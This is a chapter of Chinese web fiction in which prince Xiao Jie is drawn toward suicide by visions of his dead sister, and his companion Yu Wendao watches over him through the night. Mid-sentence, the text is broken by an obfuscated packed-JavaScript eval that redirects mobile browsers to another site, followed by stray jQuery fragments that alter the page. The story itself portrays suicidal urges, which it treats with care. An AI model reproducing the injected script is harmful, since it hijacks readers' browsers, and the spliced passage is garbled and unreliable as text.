萧玠很害怕。
因为月亮出来了。
他听见有人叫他,阿兄。
萧玠失手打落茶盏时,窗喀啷一响。
窗棂边,拂过一只小手。
皮肤苍白,血管青蓝,十指纤纤。
是一只属于少女的手。
萧玠睁大眼睛,眼看窗后探出一颗女孩的人头。她睫毛扑闪,杏眼盈盈,宛如天仙,又似幽魂。她眨着大大的眼睛,对萧玠说,我知道,阿兄,你很讨厌我。
不不,我没有,我怎么会……
你知道有我之后,一直很不开心。我透过阿耶的腹腔,见到过你看向我的眼神。
她粉红的、形状和秦灼一般无二的嘴唇开合着:我夺走了阿耶在你身上的注意,在你刚经历完京城动乱、最需要安抚和照顾的时候,他全部的精力都放在我身上。他不再盯着你吃药,不再过问你的病情和功课,他甚至忘记给你准备压岁钱,他和你说的最多的是‘等你妹妹出生之后’。你感觉他对我的爱远超过你。我抢走了你的东西。你恨我。
我没有!萧玠喃喃说,不,我没有,皎皎,我没有……
你没有,那你为什么在发抖?
这时候,女孩整颗头探出来,动作僵硬,如同傀儡。如果萧玠神智清醒,他会看到,女孩的每个关节如悬丝线。追着那透明的千丝万缕的丝线,他将望到,天边,高挂一轮邪恶的月亮,铜绿色,像女孩生烟的皮肤。
女孩说:我死去后,所有人都在哭泣,你没有;所有人都一心一意沉浸在悲痛里,你没有。所有人都为我哀悼时,你却想怎么才能叫自己轻松一些,怎么才能好过一点。
我……皎皎,我太痛苦了,我受不了了。我很难过,我……我不知道该怎么办……
萧玠慢慢蜷缩在地上。窗外,女孩光晕中青森森的身影如同巨人。
你知道该怎么办。你马上生病了,一场大病。你迫使所有人把注意力重新集中到你身上。女孩微笑,阿兄,你好聪明。
不,不!皎皎,我不是……我没有……我总是生病,你不是故意和你争抢,我不是……
如果你没有生病,阿爹阿耶会全心全意地料理我的丧仪。他们会亲自护送我出城,阿耶会陪我一起回到南秦。在路上,不会发生任何事情。
窗中只露出女孩的脸,像她一颗头颅放在窗台上。萧玠看不到背后操控她的、和自己长得一模一样的青色男孩,人只看到,她眼仁青黑,倒映自己,毫无感情,如霜冰冷。
男孩借她的嘴巴阴森说道,阿兄,你知不知道,我听到他们撬开我的棺椁的时候,多么害怕?他们把那个女孩丢进来,我的身体被她压得变形,如果我刚死去,棺中会流满我的鲜血。但我死去多时,血已凝固,所以她只压断了我的胸骨。她拼命地敲打棺材,对我拳打脚踢。你不会想看到我被她折磨成了什么样子。金吾卫赶过来,我想,快些把她弄出去,我的胳膊要断了,我好疼啊。
女孩冷漠地说,但是,没有。因为我是阿爹追封的公主。擅动棺椁要掉脑袋。他们把这件事当成我不忍离去的显灵,但没有一个人知道,我死后不能安息的身体有多么痛苦。而现在,你要为了隐瞒你的身世、保全你尊贵的皇太子之位,无视我的屈辱。
我没有,我怎么会……
那你为什么不让崔鲲追查下去?你千求万求得来的旁听之权,就是为了庇护罪犯逍遥法外?女孩看着他,说,因为他们,我的灵魂和肉身一起受到摧残,我永生永世只能困在月亮里,不能轮回,不能转世。离开月亮,我就要魂飞魄散。
萧玠颤声说,我不知道,皎皎,我真的不知道,如果我知道……
你当然不会知道,你当时正缠绵病榻,重享双亲围绕的天伦之乐呢。女孩幽幽道,阿兄,你一场急病,害得我好惨。
对不起。萧玠痛哭流涕。对不起皎皎,我不该生病,对不起。
他垂着头,感觉什么东西爬上脸颊,像五条躯体柔软的蠕虫,在他脸上留下冰凉的湿痕。渐渐,他发觉,那是女孩的五根手指。
女孩抚摸他的脸,轻轻说,阿兄,其实,你一直很盼望我死掉,对不对?这样,就没有人争夺阿耶阿爹的关注了。你还是他们唯一的孩子,他们能爱的,只有你。
萧玠大颗大颗的眼泪掉落下来,哽咽道:皎皎,我常常想,该死掉的是我。你才是他们真正期盼的孩子。你活着,或许他们就不会分开……你会比我更让他们快乐。
女孩双臂搂住他脖颈,脸颊轻轻贴在他耳侧,这是个极度眷恋的姿势。当萧玠环抱她时,听见她冰冰凉凉的吐息。她贴在自己耳边,认真、不解地问:
“那你为什么,不去死?”
萧玠浑身一僵。
我为什么,不去死。
萧玠感觉脖颈后好多处皮肤被揪起来。不知何时,那面青森透亮的月亮已溜到他背后,月光洒落亿万丝线,拧成一股粗重无形的白绫,绕上他的脖颈。那女孩背后的男孩口中发出计谋得逞的咯咯之声。
这时,女孩松开他,那只小手探向桌案,取过一只削水果的小刀,递到他面前,盈盈微笑。
……
“殿下。”
萧玠回过神,发现一枚小刀握在自己手中,而自己的手腕被另外一只手掌牢牢握住。
对面,虞闻道脸色谨慎地看着他。
萧玠安抚地笑了笑:“我想削个果子。”
虞闻道没有松手,“臣不觉得殿下的手腕长得像什么果子。甘蔗,还是莲藕?”
“莲藕不是果子。”萧玠纠正,“你瞧,我脑袋清楚的。”
面对这个玩笑,虞闻道并没有松开眉头。他仔细看着萧玠的瞳孔,问:“到底怎么了?”
萧玠没有立刻回答,虞闻道察觉,他掌中那截手腕软绵下来。
萧玠小声说:“三哥,你把窗关上,好不好?”
虞闻道抬头一望,见窗边一面明月,皎洁流光。他将萧玠手中小刀插回刀鞘,拿着去关窗。他发现,月光阻隔后,萧玠脸上浮现一些血色,然后他问:“我怎么回来的?”
虞闻道说:“臣送你回来的。自从见完樊百家,殿下神色就不太好。回到东宫,不动不说,不吃不喝,吓得阿子内官又请太医有要寻陛下。倒是听见陛下,殿下回了些神,勒令他不许去甘露殿。臣怕端茶递水他自己应付不得,便请缨做这个毛遂。”
萧玠点点头,在接下来一段时间,没有把注意力放在他身上。
他在观察自己。而且萧玠发现,那把小刀在一盏茶的时间里,吸引了自己三次注意。这意味着,死亡再度对他产生诱惑。
这很可怕,太可怕了。
萧玠发觉,自己开始不可控制地去想院中那口井。月光下,那口充满神秘、充满生命力的井。那口圣洁伟大、流光溢彩的井。夜色中,井水如同琉璃,四射七色虹光。在这梦幻的美丽里,萧玠只记得一点切实的东西——他记得站在井沿上,井口粗糙的质地磨在他脚掌上的感觉,像一只手心的老茧。是那只无比熟悉的手托举着他。这就解释了萧玠为什么毫无恐惧。他可能恐惧世界所有人,唯独不会恐惧那只手。
当时当刻,月亮映在井中,如同胎儿睡容,这时他听到井水咕咚声,有节奏的,啪嗒——啪嗒——啪嗒,是婴儿脚丫拍打羊水的声音。他听到自己与之相和的脉搏,那是十六年前属于他自己的胎动。他看着那孩子睁开眼睛,水中他双目美如沉璧。他伸出小手,努力探向水面,要与萧玠的指尖相触——
“三哥。”萧玠转过头,虞闻道看到,他眼中的光芒无比冷静。萧玠说:“你今晚别走,好不好?你看着我。阿子太小了,得有一个能制住我的人看着我。”
“好。”虞闻道握住他的手,“还要臣做什么?”
萧玠说:“我给你个方子,你让阿子去煎,你别离开。夜间把门栓死,把利器都收起来,如果我夜间……走动,你别怕,我估计
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566390|186996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一会就会再睡觉。我如果没有什么过激举动,别惊动陛下。还有。”
“院中有口井,你让阿子叫几个人,找块青石板盖上。”
虞闻道发现,萧玠的目光一直落在自己身后,他扭头看去,什么都没有。
萧玠笑了笑,眼神还是空空的,“那现在,你陪我说说话吧,说什么都好。但……别松开我的手。”
虞闻道没说话,把五根手指插进他的指缝。这么握了一会,虞闻道说:“殿下前一段不是托臣查长青散吗?陛下说的红眼参的确是一味,而且陛下求药的事,臣向家父求证过,的确是事实。”
萧玠问:“真的?”
“臣刚同殿下击过掌的。”
他眼看萧玠眼中光彩渐渐暗淡,忙搜肠刮肚,找些别的话:“这药的确有奇效,据说不是中原的方子,而是南地宗族的一种药蛊。既是药蛊,那肯定有说法,要专门的器具和时辰来熬煮也是有的。殿下既吃着见效,陛下的心力也没有白费。”
他握紧萧玠的手,“殿下,不论如何,总有一个人,全心全意盼望你长命百岁。有人这样如珠如宝地对待你,这世间,就不算没有留恋。”
萧玠冲他笑一笑,“我知道的。”
这一夜,萧玠还是梦到那口井,像再现那个跳井的夜晚。他站在井上,井底明月如婴儿,向他伸出手指。
萧玠俯身,要把指尖伸过去。在他要触碰井水的那一瞬,双脚被紧紧攥住。
井沿生出一双石头的手,牢牢握住他脚腕。萧玠认得那双手,那双手的茧子磨得他皮肤生疼。
他收回手指,双臂撑在井边,望向那婴儿。婴儿脸上,渐渐浮现出愤怒的神色。他青色的皮肤如生火焰,整口井咕嘟咕嘟热血沸腾。他嘴中发出老人的咆哮:把手给我,快把手给我!
萧玠仍盯着他,随时都能投进去一样。
一只手要抓他的身体。
一双手正握在他的脚上。
两股截然不同的巨大力量,如同水火般强烈碰撞。井水怒号,井石不语。井水竭力引诱,井石沉默坚持。终于,水中婴儿的身影消散不见,取而代之的,是一轮明月,如同冰雪,皎皎洁洁。
萧玠感到,有熔岩一样的液体涌出眼眶。他抬起头,在月光中,看到妹妹依恋祝福的笑脸。
阿兄。她呢喃。
一定要好好活着。
一定。
……
萧玠身体一弹,睁开眼睛。
自己正合衣躺在榻上,身上盖一床薄被,手露在被外,被另一只手掌握住。两只白玉扳指卡在指间,严丝合缝。
虞闻道趴在榻边,呼吸均匀,尚未醒来。
他说不放手,真的一夜没有放手。
萧玠抬起空闲的左手,在空中停滞许久,终于落下来,把虞闻道额前蹭落的发丝轻轻拨开,像一个似有若无的抚摸。
***
“那时候,我的第一个念头是……他睡着的样子,和绥郎——也就是小郑将军——有些像。”
“小郑?”
“是,我当时只以为是把对郑绥的旧情投射在他身上,一些异样根本不敢细想。直到一切尘埃落定,我才明白,那时候,郑绥在我心中已经成为一个爱情的意象。他越接近郑绥,也就越接近爱情的形状。”
“你放下了郑绥。”
“在那时候,是。”
“你爱上了他。”
“如果这个案子能顺利结束,如果能再这么相处一段时间……我想,我会爱上他。”
“但看来并非如此。”
“每个民间故事都会有一个魔头。我们不是故事,所以我们遇到了好多个。”
“每个民间故事都是爱情故事。所以,你没有爱上他吗?”
萧玠没再说话,对面蒲团上,弘斋注视他摩挲扳指的动作,也没有追问。他冲庙门抬头,萧玠也随之转脸,面向五年之后,娘娘庙前的一场大雪。